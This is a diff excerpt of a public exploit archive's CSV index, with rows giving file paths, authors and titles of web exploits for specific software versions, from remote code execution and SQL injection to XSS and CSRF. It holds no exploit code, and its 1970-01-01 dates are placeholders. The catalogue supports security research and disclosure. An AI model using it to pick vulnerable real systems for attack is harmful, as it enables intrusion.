|
49436,exploits/hardware/webapps/49436.py,"Cisco UCS Manager 2.2(1d) - Remote Command Execution",1970-01-01,liquidsky,webapps,hardware,
|
||||||
49437,exploits/multiple/webapps/49437.txt,"Xwiki CMS 12.10.2 - Cross Site Scripting (XSS)",1970-01-01,"Karan Keswani",webapps,multiple,
|
49437,exploits/multiple/webapps/49437.txt,"Xwiki CMS 12.10.2 - Cross Site Scripting (XSS)",1970-01-01,"Karan Keswani",webapps,multiple,
|
||||||
49438,exploits/hardware/webapps/49438.py,"Inteno IOPSYS 3.16.4 - root filesystem access via sambashare (Authenticated)",1970-01-01,"Henrik Pedersen",webapps,hardware,
|
|
||||||
49448,exploits/php/webapps/49448.txt,"Apartment Visitors Management System 1.0 - 'email' SQL Injection",1970-01-01,"CANKAT ÇAKMAK",webapps,php,
|
49448,exploits/php/webapps/49448.txt,"Apartment Visitors Management System 1.0 - 'email' SQL Injection",1970-01-01,"CANKAT ÇAKMAK",webapps,php,
|
||||||
49449,exploits/php/webapps/49449.txt,"Nagios XI 5.7.5 - Multiple Persistent Cross-Site Scripting",1970-01-01,"Matthew Aberegg",webapps,php,
|
49449,exploits/php/webapps/49449.txt,"Nagios XI 5.7.5 - Multiple Persistent Cross-Site Scripting",1970-01-01,"Matthew Aberegg",webapps,php,
|
||||||
49450,exploits/php/webapps/49450.rb,"Wordpress Plugin Simple Job Board 2.9.3 - Authenticated File Read (Metasploit)",1970-01-01,"SunCSR Team",webapps,php,
|
49450,exploits/php/webapps/49450.rb,"Wordpress Plugin Simple Job Board 2.9.3 - Authenticated File Read (Metasploit)",1970-01-01,"SunCSR Team",webapps,php,
|
||||||
|
|
@ -43835,7 +43795,6 @@ id,file,description,date,author,type,platform,port
|
||||||
49456,exploits/hardware/webapps/49456.txt,"Selea Targa IP OCR-ANPR Camera - Directory Traversal File Disclosure (Unauthenticated)",1970-01-01,LiquidWorm,webapps,hardware,
|
49456,exploits/hardware/webapps/49456.txt,"Selea Targa IP OCR-ANPR Camera - Directory Traversal File Disclosure (Unauthenticated)",1970-01-01,LiquidWorm,webapps,hardware,
|
||||||
49457,exploits/hardware/webapps/49457.txt,"Selea Targa IP OCR-ANPR Camera - Multiple SSRF (Unauthenticated)",1970-01-01,LiquidWorm,webapps,hardware,
|
49457,exploits/hardware/webapps/49457.txt,"Selea Targa IP OCR-ANPR Camera - Multiple SSRF (Unauthenticated)",1970-01-01,LiquidWorm,webapps,hardware,
|
||||||
49458,exploits/hardware/webapps/49458.html,"Selea Targa IP OCR-ANPR Camera - CSRF Add Admin",1970-01-01,LiquidWorm,webapps,hardware,
|
49458,exploits/hardware/webapps/49458.html,"Selea Targa IP OCR-ANPR Camera - CSRF Add Admin",1970-01-01,LiquidWorm,webapps,hardware,
|
||||||
49459,exploits/hardware/webapps/49459.txt,"Selea Targa IP OCR-ANPR Camera - RTP/RTSP/M-JPEG Stream Disclosure (Unauthenticated)",1970-01-01,LiquidWorm,webapps,hardware,
|
|
||||||
49460,exploits/hardware/webapps/49460.sh,"Selea Targa IP OCR-ANPR Camera - 'addr' Remote Code Execution (Unauthenticated)",1970-01-01,LiquidWorm,webapps,hardware,
|
49460,exploits/hardware/webapps/49460.sh,"Selea Targa IP OCR-ANPR Camera - 'addr' Remote Code Execution (Unauthenticated)",1970-01-01,LiquidWorm,webapps,hardware,
|
||||||
49461,exploits/java/webapps/49461.py,"Oracle WebLogic Server 14.1.1.0 - RCE (Authenticated)",1970-01-01,Photubias,webapps,java,
|
49461,exploits/java/webapps/49461.py,"Oracle WebLogic Server 14.1.1.0 - RCE (Authenticated)",1970-01-01,Photubias,webapps,java,
|
||||||
49463,exploits/php/webapps/49463.py,"CASAP Automated Enrollment System 1.0 - Authentication Bypass",1970-01-01,"Himanshu Shukla",webapps,php,
|
49463,exploits/php/webapps/49463.py,"CASAP Automated Enrollment System 1.0 - Authentication Bypass",1970-01-01,"Himanshu Shukla",webapps,php,
|
||||||
|
|
@ -43855,15 +43814,12 @@ id,file,description,date,author,type,platform,port
|
||||||
49481,exploits/ruby/webapps/49481.txt,"STVS ProVision 5.9.10 - File Disclosure (Authenticated)",1970-01-01,LiquidWorm,webapps,ruby,
|
49481,exploits/ruby/webapps/49481.txt,"STVS ProVision 5.9.10 - File Disclosure (Authenticated)",1970-01-01,LiquidWorm,webapps,ruby,
|
||||||
49482,exploits/ruby/webapps/49482.html,"STVS ProVision 5.9.10 - Cross-Site Request Forgery (Add Admin)",1970-01-01,LiquidWorm,webapps,ruby,
|
49482,exploits/ruby/webapps/49482.html,"STVS ProVision 5.9.10 - Cross-Site Request Forgery (Add Admin)",1970-01-01,LiquidWorm,webapps,ruby,
|
||||||
49484,exploits/php/webapps/49484.txt,"EgavilanMedia PHPCRUD 1.0 - 'Full Name' Stored Cross Site Scripting",1970-01-01,"Mahendra Purbia",webapps,php,
|
49484,exploits/php/webapps/49484.txt,"EgavilanMedia PHPCRUD 1.0 - 'Full Name' Stored Cross Site Scripting",1970-01-01,"Mahendra Purbia",webapps,php,
|
||||||
49485,exploits/php/webapps/49485.rb,"CMSUno 1.6.2 - 'lang/user' Remote Code Execution (Authenticated)",1970-01-01,"Alexandre ZANNI",webapps,php,
|
|
||||||
49486,exploits/php/webapps/49486.rb,"OpenEMR 5.0.1 - Remote Code Execution (Authenticated) (2)",1970-01-01,"Alexandre ZANNI",webapps,php,
|
49486,exploits/php/webapps/49486.rb,"OpenEMR 5.0.1 - Remote Code Execution (Authenticated) (2)",1970-01-01,"Alexandre ZANNI",webapps,php,
|
||||||
49487,exploits/php/webapps/49487.rb,"Fuel CMS 1.4.1 - Remote Code Execution (2)",1970-01-01,"Alexandre ZANNI",webapps,php,
|
49487,exploits/php/webapps/49487.rb,"Fuel CMS 1.4.1 - Remote Code Execution (2)",1970-01-01,"Alexandre ZANNI",webapps,php,
|
||||||
49488,exploits/aspx/webapps/49488.py,"Umbraco CMS 7.12.4 - Remote Code Execution (Authenticated)",1970-01-01,"Alexandre ZANNI",webapps,aspx,
|
49488,exploits/aspx/webapps/49488.py,"Umbraco CMS 7.12.4 - Remote Code Execution (Authenticated)",1970-01-01,"Alexandre ZANNI",webapps,aspx,
|
||||||
49490,exploits/php/webapps/49490.txt,"WordPress Plugin SuperForms 4.9 - Arbitrary File Upload to Remote Code Execution",1970-01-01,ABDO10,webapps,php,
|
|
||||||
49492,exploits/php/webapps/49492.txt,"BloofoxCMS 0.5.2.1 - 'text' Stored Cross Site Scripting",1970-01-01,LiPeiYi,webapps,php,
|
49492,exploits/php/webapps/49492.txt,"BloofoxCMS 0.5.2.1 - 'text' Stored Cross Site Scripting",1970-01-01,LiPeiYi,webapps,php,
|
||||||
49493,exploits/php/webapps/49493.txt,"Online Grading System 1.0 - 'uname' SQL Injection",1970-01-01,"Ruchi Tiwari",webapps,php,
|
49493,exploits/php/webapps/49493.txt,"Online Grading System 1.0 - 'uname' SQL Injection",1970-01-01,"Ruchi Tiwari",webapps,php,
|
||||||
49494,exploits/php/webapps/49494.py,"Quick.CMS 6.7 - Remote Code Execution (Authenticated)",1970-01-01,mari0x00,webapps,php,
|
49494,exploits/php/webapps/49494.py,"Quick.CMS 6.7 - Remote Code Execution (Authenticated)",1970-01-01,mari0x00,webapps,php,
|
||||||
49495,exploits/python/webapps/49495.py,"Home Assistant Community Store (HACS) 1.10.0 - Path Traversal to Account Takeover",1970-01-01,Lyghtnox,webapps,python,
|
|
||||||
49496,exploits/php/webapps/49496.txt,"MyBB Hide Thread Content Plugin 1.0 - Information Disclosure",1970-01-01,0xB9,webapps,php,
|
49496,exploits/php/webapps/49496.txt,"MyBB Hide Thread Content Plugin 1.0 - Information Disclosure",1970-01-01,0xB9,webapps,php,
|
||||||
49497,exploits/php/webapps/49497.txt,"Simple Public Chat Room 1.0 - Authentication Bypass SQLi",1970-01-01,"Richard Jones",webapps,php,
|
49497,exploits/php/webapps/49497.txt,"Simple Public Chat Room 1.0 - Authentication Bypass SQLi",1970-01-01,"Richard Jones",webapps,php,
|
||||||
49498,exploits/php/webapps/49498.txt,"Simple Public Chat Room 1.0 - 'msg' Stored Cross-Site Scripting",1970-01-01,"Richard Jones",webapps,php,
|
49498,exploits/php/webapps/49498.txt,"Simple Public Chat Room 1.0 - 'msg' Stored Cross-Site Scripting",1970-01-01,"Richard Jones",webapps,php,
|
||||||
|
|
@ -43934,13 +43890,11 @@ id,file,description,date,author,type,platform,port
|
||||||
49619,exploits/php/webapps/49619.txt,"Web Based Quiz System 1.0 - 'eid' Union Based Sql Injection (Authenticated)",1970-01-01,"Deepak Kumar Bharti",webapps,php,
|
49619,exploits/php/webapps/49619.txt,"Web Based Quiz System 1.0 - 'eid' Union Based Sql Injection (Authenticated)",1970-01-01,"Deepak Kumar Bharti",webapps,php,
|
||||||
49620,exploits/php/webapps/49620.py,"Textpattern 4.8.3 - Remote code execution (Authenticated) (2)",1970-01-01,"Ricardo Ruiz",webapps,php,
|
49620,exploits/php/webapps/49620.py,"Textpattern 4.8.3 - Remote code execution (Authenticated) (2)",1970-01-01,"Ricardo Ruiz",webapps,php,
|
||||||
49622,exploits/multiple/webapps/49622.sh,"Fluig 1.7.0 - Path Traversal",1970-01-01,"Lucas Souza",webapps,multiple,
|
49622,exploits/multiple/webapps/49622.sh,"Fluig 1.7.0 - Path Traversal",1970-01-01,"Lucas Souza",webapps,multiple,
|
||||||
49625,exploits/php/webapps/49625.py,"Hotel and Lodge Management System 1.0 - Remote Code Execution (Unauthenticated)",1970-01-01,"Christian Vierschilling",webapps,php,
|
|
||||||
49627,exploits/php/webapps/49627.php,"Joomla JCK Editor 6.4.4 - 'parent' SQL Injection (2)",1970-01-01,"Nicholas Ferreira",webapps,php,
|
49627,exploits/php/webapps/49627.php,"Joomla JCK Editor 6.4.4 - 'parent' SQL Injection (2)",1970-01-01,"Nicholas Ferreira",webapps,php,
|
||||||
49628,exploits/php/webapps/49628.txt,"GLPI 9.5.3 - 'fromtype' Unsafe Reflection",1970-01-01,"Vadym Soroka",webapps,php,
|
49628,exploits/php/webapps/49628.txt,"GLPI 9.5.3 - 'fromtype' Unsafe Reflection",1970-01-01,"Vadym Soroka",webapps,php,
|
||||||
49633,exploits/multiple/webapps/49633.py,"Atlassian JIRA 8.11.1 - User Enumeration",1970-01-01,"Dolev Farhi",webapps,multiple,
|
49633,exploits/multiple/webapps/49633.py,"Atlassian JIRA 8.11.1 - User Enumeration",1970-01-01,"Dolev Farhi",webapps,multiple,
|
||||||
49634,exploits/hardware/webapps/49634.txt,"NuCom 11N Wireless Router 5.07.90 - Remote Privilege Escalation",1970-01-01,LiquidWorm,webapps,hardware,
|
49634,exploits/hardware/webapps/49634.txt,"NuCom 11N Wireless Router 5.07.90 - Remote Privilege Escalation",1970-01-01,LiquidWorm,webapps,hardware,
|
||||||
49635,exploits/php/webapps/49635.txt,"MyBB OUGC Feedback Plugin 1.8.22 - Cross-Site Scripting",1970-01-01,0xB9,webapps,php,
|
49635,exploits/php/webapps/49635.txt,"MyBB OUGC Feedback Plugin 1.8.22 - Cross-Site Scripting",1970-01-01,0xB9,webapps,php,
|
||||||
49637,exploits/windows/webapps/49637.py,"Microsoft Exchange 2019 - SSRF to Arbitrary File Write (Proxylogon) (PoC)",1970-01-01,testanull,webapps,windows,
|
|
||||||
49639,exploits/php/webapps/49639.txt,"Monitoring System (Dashboard) 1.0 - 'uname' SQL Injection",1970-01-01,"Richard Jones",webapps,php,
|
49639,exploits/php/webapps/49639.txt,"Monitoring System (Dashboard) 1.0 - 'uname' SQL Injection",1970-01-01,"Richard Jones",webapps,php,
|
||||||
49640,exploits/php/webapps/49640.py,"Monitoring System (Dashboard) 1.0 - File Upload RCE (Authenticated)",1970-01-01,"Richard Jones",webapps,php,
|
49640,exploits/php/webapps/49640.py,"Monitoring System (Dashboard) 1.0 - File Upload RCE (Authenticated)",1970-01-01,"Richard Jones",webapps,php,
|
||||||
49642,exploits/php/webapps/49642.txt,"Zenario CMS 8.8.53370 - 'id' Blind SQL Injection",1970-01-01,"Balaji Ayyasamy",webapps,php,
|
49642,exploits/php/webapps/49642.txt,"Zenario CMS 8.8.53370 - 'id' Blind SQL Injection",1970-01-01,"Balaji Ayyasamy",webapps,php,
|
||||||
|
|
@ -43970,7 +43924,6 @@ id,file,description,date,author,type,platform,port
|
||||||
49705,exploits/multiple/webapps/49705.py,"Codiad 2.8.4 - Remote Code Execution (Authenticated)",1970-01-01,WangYihang,webapps,multiple,
|
49705,exploits/multiple/webapps/49705.py,"Codiad 2.8.4 - Remote Code Execution (Authenticated)",1970-01-01,WangYihang,webapps,multiple,
|
||||||
49708,exploits/hardware/webapps/49708.txt,"Linksys EA7500 2.0.8.194281 - Cross-Site Scripting",1970-01-01,MiningOmerta,webapps,hardware,
|
49708,exploits/hardware/webapps/49708.txt,"Linksys EA7500 2.0.8.194281 - Cross-Site Scripting",1970-01-01,MiningOmerta,webapps,hardware,
|
||||||
49709,exploits/hardware/webapps/49709.txt,"Genexis Platinum-4410 P4410-V2-1.31A - 'start_addr' Persistent Cross-Site Scripting",1970-01-01,"Jithin KS",webapps,hardware,
|
49709,exploits/hardware/webapps/49709.txt,"Genexis Platinum-4410 P4410-V2-1.31A - 'start_addr' Persistent Cross-Site Scripting",1970-01-01,"Jithin KS",webapps,hardware,
|
||||||
49711,exploits/php/webapps/49711.py,"Dolibarr ERP/CRM 11.0.4 - File Upload Restrictions Bypass (Authenticated RCE)",1970-01-01,"Andrea Gonzalez",webapps,php,
|
|
||||||
49714,exploits/php/webapps/49714.txt,"Moodle 3.10.3 - 'label' Persistent Cross Site Scripting",1970-01-01,Vincent666,webapps,php,
|
49714,exploits/php/webapps/49714.txt,"Moodle 3.10.3 - 'label' Persistent Cross Site Scripting",1970-01-01,Vincent666,webapps,php,
|
||||||
49718,exploits/php/webapps/49718.txt,"WordPress Plugin WP Super Cache 1.7.1 - Remote Code Execution (Authenticated)",1970-01-01,m0ze,webapps,php,
|
49718,exploits/php/webapps/49718.txt,"WordPress Plugin WP Super Cache 1.7.1 - Remote Code Execution (Authenticated)",1970-01-01,m0ze,webapps,php,
|
||||||
49720,exploits/hardware/webapps/49720.txt,"TP-Link Devices - 'setDefaultHostname' Stored Cross-site Scripting (Unauthenticated)",1970-01-01,"Smriti Gaba",webapps,hardware,
|
49720,exploits/hardware/webapps/49720.txt,"TP-Link Devices - 'setDefaultHostname' Stored Cross-site Scripting (Unauthenticated)",1970-01-01,"Smriti Gaba",webapps,hardware,
|
||||||
|
|
@ -44033,29 +43986,15 @@ id,file,description,date,author,type,platform,port
|
||||||
49803,exploits/python/webapps/49803.py,"OpenPLC 3 - Remote Code Execution (Authenticated)",1970-01-01,"Fellipe Oliveira",webapps,python,
|
49803,exploits/python/webapps/49803.py,"OpenPLC 3 - Remote Code Execution (Authenticated)",1970-01-01,"Fellipe Oliveira",webapps,python,
|
||||||
49804,exploits/php/webapps/49804.py,"SEO Panel 4.8.0 - 'order_col' Blind SQL Injection (2)",1970-01-01,nu11secur1ty,webapps,php,
|
49804,exploits/php/webapps/49804.py,"SEO Panel 4.8.0 - 'order_col' Blind SQL Injection (2)",1970-01-01,nu11secur1ty,webapps,php,
|
||||||
49805,exploits/php/webapps/49805.txt,"Kimai 1.14 - CSV Injection",1970-01-01,"Mohammed Aloraimi",webapps,php,
|
49805,exploits/php/webapps/49805.txt,"Kimai 1.14 - CSV Injection",1970-01-01,"Mohammed Aloraimi",webapps,php,
|
||||||
49806,exploits/php/webapps/49806.txt,"Montiorr 1.7.6m - File Upload to XSS",1970-01-01,"Ahmad Shakla",webapps,php,
|
|
||||||
49808,exploits/php/webapps/49808.txt,"Kirby CMS 3.5.3.1 - 'file' Cross-Site Scripting (XSS)",1970-01-01,"Sreenath Raghunathan",webapps,php,
|
49808,exploits/php/webapps/49808.txt,"Kirby CMS 3.5.3.1 - 'file' Cross-Site Scripting (XSS)",1970-01-01,"Sreenath Raghunathan",webapps,php,
|
||||||
49811,exploits/php/webapps/49811.txt,"FOGProject 1.5.9 - File Upload RCE (Authenticated)",1970-01-01,sml,webapps,php,
|
49811,exploits/php/webapps/49811.txt,"FOGProject 1.5.9 - File Upload RCE (Authenticated)",1970-01-01,sml,webapps,php,
|
||||||
49813,exploits/multiple/webapps/49813.py,"NodeBB Plugin Emoji 3.2.1 - Arbitrary File Write",1970-01-01,1F98D,webapps,multiple,
|
49813,exploits/multiple/webapps/49813.py,"NodeBB Plugin Emoji 3.2.1 - Arbitrary File Write",1970-01-01,1F98D,webapps,multiple,
|
||||||
49814,exploits/php/webapps/49814.txt,"Moodle 3.6.1 - Persistent Cross-Site Scripting (XSS)",1970-01-01,"Fariskhi Vidyan",webapps,php,
|
49814,exploits/php/webapps/49814.txt,"Moodle 3.6.1 - Persistent Cross-Site Scripting (XSS)",1970-01-01,"Fariskhi Vidyan",webapps,php,
|
||||||
49816,exploits/php/webapps/49816.py,"GetSimple CMS Custom JS 0.1 - CSRF to XSS to RCE",1970-01-01,boku,webapps,php,
|
|
||||||
49817,exploits/php/webapps/49817.txt,"Voting System 1.0 - Time based SQLI (Unauthenticated SQL injection)",1970-01-01,"Syed Sheeraz Ali",webapps,php,
|
49817,exploits/php/webapps/49817.txt,"Voting System 1.0 - Time based SQLI (Unauthenticated SQL injection)",1970-01-01,"Syed Sheeraz Ali",webapps,php,
|
||||||
49818,exploits/php/webapps/49818.py,"Piwigo 11.3.0 - 'language' SQL",1970-01-01,nu11secur1ty,webapps,php,
|
49818,exploits/php/webapps/49818.py,"Piwigo 11.3.0 - 'language' SQL",1970-01-01,nu11secur1ty,webapps,php,
|
||||||
49821,exploits/ruby/webapps/49821.sh,"GitLab Community Edition (CE) 13.10.3 - User Enumeration",1970-01-01,4D0niiS,webapps,ruby,
|
49821,exploits/ruby/webapps/49821.sh,"GitLab Community Edition (CE) 13.10.3 - User Enumeration",1970-01-01,4D0niiS,webapps,ruby,
|
||||||
49822,exploits/ruby/webapps/49822.txt,"GitLab Community Edition (CE) 13.10.3 - 'Sign_Up' User Enumeration",1970-01-01,4D0niiS,webapps,ruby,
|
49822,exploits/ruby/webapps/49822.txt,"GitLab Community Edition (CE) 13.10.3 - 'Sign_Up' User Enumeration",1970-01-01,4D0niiS,webapps,ruby,
|
||||||
49823,exploits/php/webapps/49823.py,"Internship Portal Management System 1.0 - Remote Code Execution Via File Upload (Unauthenticated)",1970-01-01,argenestel,webapps,php,
|
|
||||||
49825,exploits/php/webapps/49825.txt,"Savsoft Quiz 5 - 'User Account Settings' Persistent Cross-Site Scripting",1970-01-01,strider,webapps,php,
|
49825,exploits/php/webapps/49825.txt,"Savsoft Quiz 5 - 'User Account Settings' Persistent Cross-Site Scripting",1970-01-01,strider,webapps,php,
|
||||||
49826,exploits/multiple/webapps/49826.js,"Markdown Explorer 0.1.1 - XSS to RCE",1970-01-01,"Taurus Omar",webapps,multiple,
|
|
||||||
49827,exploits/multiple/webapps/49827.js,"Xmind 2020 - XSS to RCE",1970-01-01,TaurusOmar,webapps,multiple,
|
|
||||||
49828,exploits/multiple/webapps/49828.js,"Tagstoo 2.0.1 - Stored XSS to RCE",1970-01-01,TaurusOmar,webapps,multiple,
|
|
||||||
49829,exploits/multiple/webapps/49829.js,"SnipCommand 0.1.0 - XSS to RCE",1970-01-01,TaurusOmar,webapps,multiple,
|
|
||||||
49830,exploits/multiple/webapps/49830.js,"Moeditor 0.2.0 - XSS to RCE",1970-01-01,TaurusOmar,webapps,multiple,
|
|
||||||
49831,exploits/multiple/webapps/49831.js,"Marky 0.0.1 - XSS to RCE",1970-01-01,TaurusOmar,webapps,multiple,
|
|
||||||
49832,exploits/multiple/webapps/49832.js,"StudyMD 0.3.2 - XSS to RCE",1970-01-01,TaurusOmar,webapps,multiple,
|
|
||||||
49833,exploits/multiple/webapps/49833.js,"Freeter 1.2.1 - XSS to RCE",1970-01-01,TaurusOmar,webapps,multiple,
|
|
||||||
49834,exploits/multiple/webapps/49834.js,"Markright 1.0 - XSS to RCE",1970-01-01,TaurusOmar,webapps,multiple,
|
|
||||||
49835,exploits/multiple/webapps/49835.js,"Markdownify 1.2.0 - XSS to RCE",1970-01-01,TaurusOmar,webapps,multiple,
|
|
||||||
49836,exploits/multiple/webapps/49836.js,"Anote 1.0 - XSS to RCE",1970-01-01,TaurusOmar,webapps,multiple,
|
|
||||||
49837,exploits/multiple/webapps/49837.txt,"Schlix CMS 2.2.6-6 - 'title' Persistent Cross-Site Scripting (Authenticated)",1970-01-01,"Emircan Baş",webapps,multiple,
|
49837,exploits/multiple/webapps/49837.txt,"Schlix CMS 2.2.6-6 - 'title' Persistent Cross-Site Scripting (Authenticated)",1970-01-01,"Emircan Baş",webapps,multiple,
|
||||||
49838,exploits/multiple/webapps/49838.txt,"Schlix CMS 2.2.6-6 - Remote Code Execution (Authenticated)",1970-01-01,"Eren Saraç",webapps,multiple,
|
49838,exploits/multiple/webapps/49838.txt,"Schlix CMS 2.2.6-6 - Remote Code Execution (Authenticated)",1970-01-01,"Eren Saraç",webapps,multiple,
|
||||||
49839,exploits/php/webapps/49839.txt,"Wordpress Plugin WP Super Edit 2.5.4 - Remote File Upload",1970-01-01,h4shur,webapps,php,
|
49839,exploits/php/webapps/49839.txt,"Wordpress Plugin WP Super Edit 2.5.4 - Remote File Upload",1970-01-01,h4shur,webapps,php,
|
||||||
|
|
@ -44082,8 +44021,6 @@ id,file,description,date,author,type,platform,port
|
||||||
49873,exploits/php/webapps/49873.txt,"Simple Chatbot Application 1.0 - 'Category' Stored Cross site Scripting",1970-01-01,"Vani K G",webapps,php,
|
49873,exploits/php/webapps/49873.txt,"Simple Chatbot Application 1.0 - 'Category' Stored Cross site Scripting",1970-01-01,"Vani K G",webapps,php,
|
||||||
49874,exploits/php/webapps/49874.txt,"Billing Management System 2.0 - Union based SQL injection (Authenticated)",1970-01-01,"Mohammad Koochaki",webapps,php,
|
49874,exploits/php/webapps/49874.txt,"Billing Management System 2.0 - Union based SQL injection (Authenticated)",1970-01-01,"Mohammad Koochaki",webapps,php,
|
||||||
49875,exploits/php/webapps/49875.txt,"Advanced Guestbook 2.4.4 - 'Smilies' Persistent Cross-Site Scripting (XSS)",1970-01-01,"Abdulkadir AYDOGAN",webapps,php,
|
49875,exploits/php/webapps/49875.txt,"Advanced Guestbook 2.4.4 - 'Smilies' Persistent Cross-Site Scripting (XSS)",1970-01-01,"Abdulkadir AYDOGAN",webapps,php,
|
||||||
49876,exploits/php/webapps/49876.py,"Subrion CMS 4.2.1 - File Upload Bypass to RCE (Authenticated)",1970-01-01,"Fellipe Oliveira",webapps,php,
|
|
||||||
49877,exploits/php/webapps/49877.txt,"Printable Staff ID Card Creator System 1.0 - SQLi & RCE via Arbitrary File Upload",1970-01-01,bwnz,webapps,php,
|
|
||||||
49878,exploits/php/webapps/49878.txt,"EgavilanMedia PHPCRUD 1.0 - 'First Name' SQL Injection",1970-01-01,"Dimitrios Mitakos",webapps,php,
|
49878,exploits/php/webapps/49878.txt,"EgavilanMedia PHPCRUD 1.0 - 'First Name' SQL Injection",1970-01-01,"Dimitrios Mitakos",webapps,php,
|
||||||
49879,exploits/windows/webapps/49879.py,"Microsoft Exchange 2019 - Unauthenticated Email Download",1970-01-01,"Gonzalo Villegas",webapps,windows,
|
49879,exploits/windows/webapps/49879.py,"Microsoft Exchange 2019 - Unauthenticated Email Download",1970-01-01,"Gonzalo Villegas",webapps,windows,
|
||||||
49880,exploits/php/webapps/49880.txt,"WordPress Plugin Stop Spammers 2021.8 - 'log' Reflected Cross-site Scripting (XSS)",1970-01-01,"Hosein Vita",webapps,php,
|
49880,exploits/php/webapps/49880.txt,"WordPress Plugin Stop Spammers 2021.8 - 'log' Reflected Cross-site Scripting (XSS)",1970-01-01,"Hosein Vita",webapps,php,
|
||||||
|
|
@ -44094,7 +44031,6 @@ id,file,description,date,author,type,platform,port
|
||||||
49891,exploits/multiple/webapps/49891.txt,"Spotweb 1.4.9 - DOM Based Cross-Site Scripting (XSS)",1970-01-01,nu11secur1ty,webapps,multiple,
|
49891,exploits/multiple/webapps/49891.txt,"Spotweb 1.4.9 - DOM Based Cross-Site Scripting (XSS)",1970-01-01,nu11secur1ty,webapps,multiple,
|
||||||
49894,exploits/php/webapps/49894.sh,"WordPress Plugin WP Statistics 13.0.7 - Time-Based Blind SQL Injection (Unauthenticated)",1970-01-01,"Mansoor R",webapps,php,
|
49894,exploits/php/webapps/49894.sh,"WordPress Plugin WP Statistics 13.0.7 - Time-Based Blind SQL Injection (Unauthenticated)",1970-01-01,"Mansoor R",webapps,php,
|
||||||
49895,exploits/windows/webapps/49895.rb,"Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit)",1970-01-01,mekhalleh,webapps,windows,
|
49895,exploits/windows/webapps/49895.rb,"Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit)",1970-01-01,mekhalleh,webapps,windows,
|
||||||
49897,exploits/multiple/webapps/49897.txt,"Schlix CMS 2.2.6-6 - Arbitary File Upload And Directory Traversal Leads To RCE (Authenticated)",1970-01-01,"Emir Polat",webapps,multiple,
|
|
||||||
49901,exploits/java/webapps/49901.txt,"Shopizer 2.16.0 - 'Multiple' Cross-Site Scripting (XSS)",1970-01-01,"Marek Toth",webapps,java,
|
49901,exploits/java/webapps/49901.txt,"Shopizer 2.16.0 - 'Multiple' Cross-Site Scripting (XSS)",1970-01-01,"Marek Toth",webapps,java,
|
||||||
49902,exploits/multiple/webapps/49902.py,"Codiad 2.8.4 - Remote Code Execution (Authenticated) (2)",1970-01-01,"Ron Jost",webapps,multiple,
|
49902,exploits/multiple/webapps/49902.py,"Codiad 2.8.4 - Remote Code Execution (Authenticated) (2)",1970-01-01,"Ron Jost",webapps,multiple,
|
||||||
49903,exploits/php/webapps/49903.txt,"WordPress Plugin ReDi Restaurant Reservation 21.0307 - 'Comment' Stored Cross-Site Scripting (XSS)",1970-01-01,"Bastijn Ouwendijk",webapps,php,
|
49903,exploits/php/webapps/49903.txt,"WordPress Plugin ReDi Restaurant Reservation 21.0307 - 'Comment' Stored Cross-Site Scripting (XSS)",1970-01-01,"Bastijn Ouwendijk",webapps,php,
|
||||||
|
|
@ -44107,7 +44043,6 @@ id,file,description,date,author,type,platform,port
|
||||||
49912,exploits/php/webapps/49912.txt,"WordPress Plugin LifterLMS 4.21.0 - Stored Cross-Site Scripting (XSS)",1970-01-01,Captain_hook,webapps,php,
|
49912,exploits/php/webapps/49912.txt,"WordPress Plugin LifterLMS 4.21.0 - Stored Cross-Site Scripting (XSS)",1970-01-01,Captain_hook,webapps,php,
|
||||||
49913,exploits/php/webapps/49913.py,"Trixbox 2.8.0.4 - 'lang' Remote Code Execution (Unauthenticated)",1970-01-01,"Ron Jost",webapps,php,
|
49913,exploits/php/webapps/49913.py,"Trixbox 2.8.0.4 - 'lang' Remote Code Execution (Unauthenticated)",1970-01-01,"Ron Jost",webapps,php,
|
||||||
49914,exploits/php/webapps/49914.py,"Trixbox 2.8.0.4 - 'lang' Path Traversal",1970-01-01,"Ron Jost",webapps,php,
|
49914,exploits/php/webapps/49914.py,"Trixbox 2.8.0.4 - 'lang' Path Traversal",1970-01-01,"Ron Jost",webapps,php,
|
||||||
49915,exploits/linux/webapps/49915.rb,"Selenium 3.141.59 - Remote Code Execution (Firefox/geckodriver)",1970-01-01,"Jon Stratton",webapps,linux,
|
|
||||||
49918,exploits/multiple/webapps/49918.py,"LogonTracer 1.2.0 - Remote Code Execution (Unauthenticated)",1970-01-01,g0ldm45k,webapps,multiple,
|
49918,exploits/multiple/webapps/49918.py,"LogonTracer 1.2.0 - Remote Code Execution (Unauthenticated)",1970-01-01,g0ldm45k,webapps,multiple,
|
||||||
49919,exploits/php/webapps/49919.txt,"ProjeQtOr Project Management 9.1.4 - Remote Code Execution",1970-01-01,"Temel Demir",webapps,php,
|
49919,exploits/php/webapps/49919.txt,"ProjeQtOr Project Management 9.1.4 - Remote Code Execution",1970-01-01,"Temel Demir",webapps,php,
|
||||||
49920,exploits/hardware/webapps/49920.html,"Ubee EVW327 - 'Enable Remote Access' Cross-Site Request Forgery (CSRF)",1970-01-01,lated,webapps,hardware,
|
49920,exploits/hardware/webapps/49920.html,"Ubee EVW327 - 'Enable Remote Access' Cross-Site Request Forgery (CSRF)",1970-01-01,lated,webapps,hardware,
|
||||||
|
|
@ -44123,7 +44058,6 @@ id,file,description,date,author,type,platform,port
|
||||||
49932,exploits/php/webapps/49932.txt,"Seo Panel 4.8.0 - 'category' Reflected XSS",1970-01-01,"Piyush Patil",webapps,php,
|
49932,exploits/php/webapps/49932.txt,"Seo Panel 4.8.0 - 'category' Reflected XSS",1970-01-01,"Piyush Patil",webapps,php,
|
||||||
49933,exploits/php/webapps/49933.py,"PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution",1970-01-01,flast101,webapps,php,
|
49933,exploits/php/webapps/49933.py,"PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution",1970-01-01,flast101,webapps,php,
|
||||||
49935,exploits/php/webapps/49935.txt,"Seo Panel 4.8.0 - 'from_time' Reflected XSS",1970-01-01,"Piyush Patil",webapps,php,
|
49935,exploits/php/webapps/49935.txt,"Seo Panel 4.8.0 - 'from_time' Reflected XSS",1970-01-01,"Piyush Patil",webapps,php,
|
||||||
49937,exploits/hardware/webapps/49937.txt,"CHIYU IoT Devices - Denial of Service (DoS)",1970-01-01,sirpedrotavares,webapps,hardware,
|
|
||||||
50062,exploits/php/webapps/50062.py,"Seeddms 5.1.10 - Remote Command Execution (RCE) (Authenticated)",1970-01-01,"Bryan Leong",webapps,php,
|
